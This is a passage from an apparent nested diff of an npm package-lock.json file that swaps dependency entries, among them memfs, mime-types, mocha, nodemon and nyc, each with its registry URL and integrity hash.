"sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", ++ "media-typer": { ++ "version": "0.3.0", ++ "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", ++ "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" ++ }, ++ "memfs": { ++ "version": "3.4.1", ++ "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.4.1.tgz", ++ "integrity": "sha512-1c9VPVvW5P7I85c35zAdEr1TD5+F11IToIHIlrVIcflfnzPkJa0ZoYEoEdYDP8KgPFoSZ/opDrUsAoZWym3mtw==", ++ "devOptional": true, + "requires": { +- "arr-diff": "^4.0.0", +- "array-unique": "^0.3.2", +- "define-property": "^2.0.2", +- "extend-shallow": "^3.0.2", +- "fragment-cache": "^0.2.1", +- "is-windows": "^1.0.2", +- "kind-of": "^6.0.2", +- "object.pick": "^1.3.0", +- "regex-not": "^1.0.0", +- "snapdragon": "^0.8.1", +- "to-regex": "^3.0.1" +- }, +- "dependencies": { +- "extend-shallow": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", +- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", +- "requires": { +- "assign-symbols": "^1.0.0", +- "is-extendable": "^1.0.1" +- } +- }, +- "is-extendable": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", +- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", +- "requires": { +- "is-plain-object": "^2.0.4" +- } +- } ++ "fs-monkey": "1.0.3" + } + }, +- "native-promise-only": { +- "version": "0.8.1", +- "resolved": "https://registry.npmjs.org/native-promise-only/-/native-promise-only-0.8.1.tgz", +- "integrity": "sha1-IKMYwwy0X3H+et+/eyHJnBRy7xE=" ++ "memoize-one": { ++ "version": "5.2.1", ++ "resolved": "https://registry.npmjs.org/memoize-one/-/memoize-one-5.2.1.tgz", ++ "integrity": "sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q==" + }, +- "native-request": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/native-request/-/native-request-1.1.0.tgz", +- "integrity": "sha512-uZ5rQaeRn15XmpgE0xoPL8YWqcX90VtCFglYwAgkvKM5e8fog+vePLAhHxuuv/gRkrQxIeh5U3q9sMNUrENqWw==", +- "dev": true, ++ "memory-pager": { ++ "version": "1.5.0", ++ "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz", ++ "integrity": "sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg==", + "optional": true + }, +- "natural-compare": { +- "version": "1.4.0", +- "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", +- "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", ++ "memorystream": { ++ "version": "0.3.1", ++ "resolved": "https://registry.npmjs.org/memorystream/-/memorystream-0.3.1.tgz", ++ "integrity": "sha1-htcJCzDORV1j+64S3aUaR93K+bI=", + "dev": true + }, +- "ncp": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ncp/-/ncp-2.0.0.tgz", +- "integrity": "sha1-GVoh1sRuNh0vsSgbo4uR6d9727M=", +- "optional": true +- }, +- "negotiator": { +- "version": "0.6.3", +- "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", +- "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==" +- }, +- "neo-async": { +- "version": "2.6.2", +- "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", +- "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" ++ "mensch": { ++ "version": "0.3.4", ++ "resolved": "https://registry.npmjs.org/mensch/-/mensch-0.3.4.tgz", ++ "integrity": "sha512-IAeFvcOnV9V0Yk+bFhYR07O3yNina9ANIN5MoXBKYJ/RLYPurd2d0yw14MDhpr9/momp0WofT1bPUh3hkzdi/g==", ++ "dev": true + }, +- "next-tick": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.0.0.tgz", +- "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw=" ++ "merge-descriptors": { ++ "version": "1.0.1", ++ "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", ++ "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" + }, +- "ngcomponent": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/ngcomponent/-/ngcomponent-4.1.0.tgz", +- "integrity": "sha512-cGL3iVoqMWTpCfaIwgRKhdaGqiy2Z+CCG0cVfjlBvdqE8saj8xap9B4OTf+qwObxLVZmDTJPDgx3bN6Q/lZ7BQ==", +- "requires": { +- "@types/angular": "^1.6.39", +- "@types/lodash": "^4.14.85", +- "angular": ">=1.5.0", +- "lodash": "^4.17.4" +- } ++ "merge-stream": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", ++ "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==" + }, +- "nice-try": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", +- "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==" ++ "merge2": { ++ "version": "1.4.1", ++ "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", ++ "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", ++ "devOptional": true + }, +- "nise": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/nise/-/nise-4.1.0.tgz", +- "integrity": "sha512-eQMEmGN/8arp0xsvGoQ+B1qvSkR73B1nWSCh7nOt5neMCtwcQVYQGdzQMhcNscktTsWB54xnlSQFzOAPJD8nXA==", +- "dev": true, ++ "method-override": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/method-override/-/method-override-3.0.0.tgz", ++ "integrity": "sha512-IJ2NNN/mSl9w3kzWB92rcdHpz+HjkxhDJWNDBqSlas+zQdP8wBiJzITPg08M/k2uVvMow7Sk41atndNtt/PHSA==", + "requires": { +- "@sinonjs/commons": "^1.7.0", +- "@sinonjs/fake-timers": "^6.0.0", +- "@sinonjs/text-encoding": "^0.7.1", +- "just-extend": "^4.0.2", +- "path-to-regexp": "^1.7.0" ++ "debug": "3.1.0", ++ "methods": "~1.1.2", ++ "parseurl": "~1.3.2", ++ "vary": "~1.1.2" + }, + "dependencies": { +- "isarray": { +- "version": "0.0.1", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", +- "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", +- "dev": true +- }, +- "path-to-regexp": { +- "version": "1.8.0", +- "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-1.8.0.tgz", +- "integrity": "sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==", +- "dev": true, ++ "debug": { ++ "version": "3.1.0", ++ "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", ++ "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "requires": { +- "isarray": "0.0.1" ++ "ms": "2.0.0" + } ++ }, ++ "ms": { ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", ++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + } + } + }, +- "no-case": { +- "version": "3.0.4", +- "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", +- "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", +- "dev": true, +- "requires": { +- "lower-case": "^2.0.2", +- "tslib": "^2.0.3" +- } ++ "methods": { ++ "version": "1.1.2", ++ "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", ++ "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" + }, +- "nocache": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/nocache/-/nocache-2.1.0.tgz", +- "integrity": "sha512-0L9FvHG3nfnnmaEQPjT9xhfN4ISk0A8/2j4M37Np4mcDesJjHgEUfgPhdCyZuFI954tjokaIj/A3NdpFNdEh4Q==" ++ "mhook": { ++ "version": "1.0.1", ++ "resolved": "https://registry.npmjs.org/mhook/-/mhook-1.0.1.tgz", ++ "integrity": "sha1-C6igyiARIlgzA9tKsdDi/5jytUw=" + }, +- "nock": { +- "version": "0.15.2", +- "resolved": "https://registry.npmjs.org/nock/-/nock-0.15.2.tgz", +- "integrity": "sha1-PDLBrmASzTmOuSQKBZJEtZUI3Y0=", +- "dev": true, ++ "micromatch": { ++ "version": "4.0.4", ++ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", ++ "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "requires": { +- "propagate": "0.2.x" ++ "braces": "^3.0.1", ++ "picomatch": "^2.2.3" + } + }, +- "node-addon-api": { +- "version": "3.2.1", +- "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-3.2.1.tgz", +- "integrity": "sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A==" +- }, +- "node-domexception": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", +- "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==" +- }, +- "node-environment-flags": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/node-environment-flags/-/node-environment-flags-1.0.5.tgz", +- "integrity": "sha512-VNYPRfGfmZLx0Ye20jWzHUjyTW/c+6Wq+iLhDzUI4XmhrDd9l/FozXV3F2xOaXjvp0co0+v1YSR3CMP6g+VvLQ==", +- "dev": true, ++ "microtime": { ++ "version": "3.0.0", ++ "resolved": "https://registry.npmjs.org/microtime/-/microtime-3.0.0.tgz", ++ "integrity": "sha512-SirJr7ZL4ow2iWcb54bekS4aWyBQNVcEDBiwAz9D/sTgY59A+uE8UJU15cp5wyZmPBwg/3zf8lyCJ5NUe1nVlQ==", + "requires": { +- "object.getownpropertydescriptors": "^2.0.3", +- "semver": "^5.7.0" ++ "node-addon-api": "^1.2.0", ++ "node-gyp-build": "^3.8.0" + }, + "dependencies": { +- "semver": { +- "version": "5.7.1", +- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", +- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", +- "dev": true ++ "node-addon-api": { ++ "version": "1.7.2", ++ "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-1.7.2.tgz", ++ "integrity": "sha512-ibPK3iA+vaY1eEjESkQkM0BbCqFOaZMiXRTtdB0u7b4djtY6JnsjvPdUHVMg6xQt3B8fpTTWHI9A+ADjM9frzg==" + } + } + }, +- "node-fetch": { +- "version": "2.6.7", +- "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz", +- "integrity": "sha512-ZjMPFEfVx5j+y2yF35Kzx5sF7kDzxuDj6ziH4FFbOp87zKDZNx8yExJIb05OGF4Nlt9IHFIMBkRl41VdvcNdbQ==", ++ "mime": { ++ "version": "2.6.0", ++ "resolved": "https://registry.npmjs.org/mime/-/mime-2.6.0.tgz", ++ "integrity": "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg==" ++ }, ++ "mime-db": { ++ "version": "1.51.0", ++ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.51.0.tgz", ++ "integrity": "sha512-5y8A56jg7XVQx2mbv1lu49NR4dokRnhZYTtL+KGfaa27uq4pSTXkwQkFJl4pkRMyNFz/EtYDSkiiEHx3F7UN6g==" ++ }, ++ "mime-match": { ++ "version": "1.0.2", ++ "resolved": "https://registry.npmjs.org/mime-match/-/mime-match-1.0.2.tgz", ++ "integrity": "sha1-P4fDHprxpf1IX7nbE0Qosju7e6g=", + "requires": { +- "whatwg-url": "^5.0.0" +- }, +- "dependencies": { +- "tr46": { +- "version": "0.0.3", +- "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz", +- "integrity": "sha1-gYT9NH2snNwYWZLzpmIuFLnZq2o=" +- }, +- "webidl-conversions": { +- "version": "3.0.1", +- "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz", +- "integrity": "sha1-JFNCdeKnvGvnvIZhHMFq4KVlSHE=" +- }, +- "whatwg-url": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz", +- "integrity": "sha1-lmRU6HZUYuN2RNNib2dCzotwll0=", +- "requires": { +- "tr46": "~0.0.3", +- "webidl-conversions": "^3.0.0" +- } +- } ++ "wildcard": "^1.1.0" + } + }, +- "node-forge": { +- "version": "1.2.1", +- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.2.1.tgz", +- "integrity": "sha512-Fcvtbb+zBcZXbTTVwqGA5W+MKBj56UjVRevvchv5XrcyXbmNdesfZL37nlcWOfpgHhgmxApw3tQbTr4CqNmX4w==" ++ "mime-types": { ++ "version": "2.1.34", ++ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.34.tgz", ++ "integrity": "sha512-6cP692WwGIs9XXdOO4++N+7qjqv0rqxxVvJ3VHPh/Sc9mVZcQP+ZGhkKiTvWMQRr2tbHkJP/Yn7Y0npb3ZBs4A==", ++ "requires": { ++ "mime-db": "1.51.0" ++ } + }, +- "node-gyp-build": { +- "version": "3.9.0", +- "resolved": "https://registry.npmjs.org/node-gyp-build/-/node-gyp-build-3.9.0.tgz", +- "integrity": "sha512-zLcTg6P4AbcHPq465ZMFNXx7XpKKJh+7kkN699NiQWisR2uWYOWNWqRHAmbnmKiL4e9aLSlmy5U7rEMUXV59+A==" ++ "mimic-fn": { ++ "version": "2.1.0", ++ "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", ++ "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==" + }, +- "node-preload": { +- "version": "0.2.1", +- "resolved": "https://registry.npmjs.org/node-preload/-/node-preload-0.2.1.tgz", +- "integrity": "sha512-RM5oyBy45cLEoHqCeh+MNuFAxO0vTFBLskvQbOKnEE7YTTSN4tbN8QWDIPQ6L+WvKsB/qLEGpYe2ZZ9d4W9OIQ==", +- "dev": true, ++ "min-document": { ++ "version": "2.19.0", ++ "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz", ++ "integrity": "sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=", + "requires": { +- "process-on-spawn": "^1.0.0" ++ "dom-walk": "^0.1.0" + } + }, +- "node-releases": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.1.tgz", +- "integrity": "sha512-CqyzN6z7Q6aMeF/ktcMVTzhAHCEpf8SOarwpzpf8pNBY2k5/oM34UHldUwp8VKI7uxct2HxSRdJjBaZeESzcxA==" ++ "minimalistic-assert": { ++ "version": "1.0.1", ++ "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", ++ "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", ++ "devOptional": true + }, +- "node-uuid": { +- "version": "1.4.8", +- "resolved": "https://registry.npmjs.org/node-uuid/-/node-uuid-1.4.8.tgz", +- "integrity": "sha1-sEDrCSOWivq/jTL7HxfxFn/auQc=" ++ "minimatch": { ++ "version": "3.0.4", ++ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", ++ "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", ++ "requires": { ++ "brace-expansion": "^1.1.7" ++ } + }, +- "nodemailer": { +- "version": "6.7.2", +- "resolved": "https://registry.npmjs.org/nodemailer/-/nodemailer-6.7.2.tgz", +- "integrity": "sha512-Dz7zVwlef4k5R71fdmxwR8Q39fiboGbu3xgswkzGwczUfjp873rVxt1O46+Fh0j1ORnAC6L9+heI8uUpO6DT7Q==" ++ "minimist": { ++ "version": "0.0.8", ++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", ++ "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=" + }, +- "nodemailer-mandrill-transport": { +- "version": "1.2.0", +- "resolved": "https://registry.npmjs.org/nodemailer-mandrill-transport/-/nodemailer-mandrill-transport-1.2.0.tgz", +- "integrity": "sha1-aZaQKdJZtGkhzBLbcMoVUb85SwQ=", ++ "minipass": { ++ "version": "3.1.6", ++ "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.6.tgz", ++ "integrity": "sha512-rty5kpw9/z8SX9dmxblFA6edItUmwJgMeYDZRrwlIVN27i8gysGbznJwUggw2V/FVqFSDdWy040ZPS811DYAqQ==", + "requires": { +- "addressparser": "^1.0.1", +- "extend": "^3.0.0", +- "mandrill-api": "^1.0.45" ++ "yallist": "^4.0.0" ++ }, ++ "dependencies": { ++ "yallist": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", ++ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" ++ } + } + }, +- "nodemailer-ses-transport": { +- "version": "1.5.1", +- "resolved": "https://registry.npmjs.org/nodemailer-ses-transport/-/nodemailer-ses-transport-1.5.1.tgz", +- "integrity": "sha1-3AWYwb9T6GUuYy6PMWks4CLX3qk=", ++ "minizlib": { ++ "version": "2.1.2", ++ "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", ++ "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", + "requires": { +- "aws-sdk": "^2.2.36" ++ "minipass": "^3.0.0", ++ "yallist": "^4.0.0" ++ }, ++ "dependencies": { ++ "yallist": { ++ "version": "4.0.0", ++ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", ++ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" ++ } + } + }, +- "nodemon": { +- "version": "2.0.19", +- "resolved": "https://registry.npmjs.org/nodemon/-/nodemon-2.0.19.tgz", +- "integrity": "sha512-4pv1f2bMDj0Eeg/MhGqxrtveeQ5/G/UVe9iO6uTZzjnRluSA4PVWf8CW99LUPwGB3eNIA7zUFoP77YuI7hOc0A==", ++ "mixin-deep": { ++ "version": "1.3.2", ++ "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz", ++ "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==", + "dev": true, + "requires": { +- "chokidar": "^3.5.2", +- "debug": "^3.2.7", +- "ignore-by-default": "^1.0.1", +- "minimatch": "^3.0.4", +- "pstree.remy": "^1.1.8", +- "semver": "^5.7.1", +- "simple-update-notifier": "^1.0.7", +- "supports-color": "^5.5.0", +- "touch": "^3.1.0", +- "undefsafe": "^2.0.5" ++ "for-in": "^1.0.2", ++ "is-extendable": "^1.0.1" + }, + "dependencies": { +- "debug": { +- "version": "3.2.7", +- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", +- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", +- "dev": true, +- "requires": { +- "ms": "^2.1.1" +- } +- }, +- "has-flag": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", +- "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", +- "dev": true +- }, +- "semver": { +- "version": "5.7.1", +- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", +- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", +- "dev": true +- }, +- "supports-color": { +- "version": "5.5.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", +- "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", ++ "is-extendable": { ++ "version": "1.0.1", ++ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", ++ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "requires": { +- "has-flag": "^3.0.0" ++ "is-plain-object": "^2.0.4" + } + } + } + }, +- "nopt": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", +- "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==", ++ "mkdirp": { ++ "version": "0.5.1", ++ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", ++ "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=", + "requires": { +- "abbrev": "1" ++ "minimist": "0.0.8" + } + }, +- "normalize-path": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", +- "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==" ++ "mkdirp-classic": { ++ "version": "0.5.3", ++ "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", ++ "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" + }, +- "normalize-range": { +- "version": "0.1.2", +- "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", +- "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=", ++ "mkdirp2": { ++ "version": "1.0.5", ++ "resolved": "https://registry.npmjs.org/mkdirp2/-/mkdirp2-1.0.5.tgz", ++ "integrity": "sha512-xOE9xbICroUDmG1ye2h4bZ8WBie9EGmACaco8K8cx6RlkJJrxGIqjGqztAI+NMhexXBcdGbSEzI6N3EJPevxZw==", + "dev": true + }, +- "now-and-later": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/now-and-later/-/now-and-later-2.0.1.tgz", +- "integrity": "sha512-KGvQ0cB70AQfg107Xvs/Fbu+dGmZoTRJp2TaPwcwQm3/7PteUyN2BCgk8KBMPGBUXZdVwyWS8fDCGFygBm19UQ==", +- "dev": true, +- "requires": { +- "once": "^1.3.2" +- } +- }, +- "npm-run-path": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", +- "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", +- "devOptional": true, +- "requires": { +- "path-key": "^3.0.0" +- } +- }, +- "npmlog": { +- "version": "5.0.1", +- "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz", +- "integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==", +- "requires": { +- "are-we-there-yet": "^2.0.0", +- "console-control-strings": "^1.1.0", +- "gauge": "^3.0.0", +- "set-blocking": "^2.0.0" +- } +- }, +- "nth-check": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.0.1.tgz", +- "integrity": "sha512-it1vE95zF6dTT9lBsYbxvqh0Soy4SPowchj0UBGj/V6cTPnXXtQOPUbhZ6CmGzAD/rW22LQK6E96pcdJXk4A4w==", +- "dev": true, ++ "mmmagic": { ++ "version": "0.5.3", ++ "resolved": "https://registry.npmjs.org/mmmagic/-/mmmagic-0.5.3.tgz", ++ "integrity": "sha512-xLqCu7GJYTzJczg0jafXFuh+iPzQL/ru0YYf4GiTTz8Cehru/wiXtUS8Pp8Xi77zNaiVndJ0OO1yAFci6iHyFg==", + "requires": { +- "boolbase": "^1.0.0" ++ "nan": "^2.13.2" + } + }, +- "num2fraction": { +- "version": "1.2.2", +- "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz", +- "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=", +- "dev": true +- }, +- "nvd3": { +- "version": "1.8.6", +- "resolved": "https://registry.npmjs.org/nvd3/-/nvd3-1.8.6.tgz", +- "integrity": "sha1-LT66dL8zNjtRAevx0JPFmlOuc8Q=", +- "requires": {} +- }, +- "nwsapi": { +- "version": "2.2.0", +- "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.0.tgz", +- "integrity": "sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ==", +- "dev": true +- }, +- "nyc": { +- "version": "15.1.0", +- "resolved": "https://registry.npmjs.org/nyc/-/nyc-15.1.0.tgz", +- "integrity": "sha512-jMW04n9SxKdKi1ZMGhvUTHBN0EICCRkHemEoE5jm6mTYcqcdas0ATzgUgejlQUHMvpnOZqGB5Xxsv9KxJW1j8A==", ++ "mocha": { ++ "version": "8.4.0", ++ "resolved": "https://registry.npmjs.org/mocha/-/mocha-8.4.0.tgz", ++ "integrity": "sha512-hJaO0mwDXmZS4ghXsvPVriOhsxQ7ofcpQdm8dE+jISUOKopitvnXFQmpRR7jd2K6VBG6E26gU3IAbXXGIbu4sQ==", + "dev": true, + "requires": { +- "@istanbuljs/load-nyc-config": "^1.0.0", +- "@istanbuljs/schema": "^0.1.2", +- "caching-transform": "^4.0.0", +- "convert-source-map": "^1.7.0", +- "decamelize": "^1.2.0", +- "find-cache-dir": "^3.2.0", +- "find-up": "^4.1.0", +- "foreground-child": "^2.0.0", +- "get-package-type": "^0.1.0", +- "glob": "^7.1.6", +- "istanbul-lib-coverage": "^3.0.0", +- "istanbul-lib-hook": "^3.0.0", +- "istanbul-lib-instrument": "^4.0.0", +- "istanbul-lib-processinfo": "^2.0.2", +- "istanbul-lib-report": "^3.0.0", +- "istanbul-lib-source-maps": "^4.0.0", +- "istanbul-reports": "^3.0.2", +- "make-dir": "^3.0.0", +- "node-preload": "^0.2.1", +- "p-map": "^3.0.0", +- "process-on-spawn": "^1.0.0", +- "resolve-from": "^5.0.0", +- "rimraf": "^3.0.0", +- "signal-exit": "^3.0.2", +- 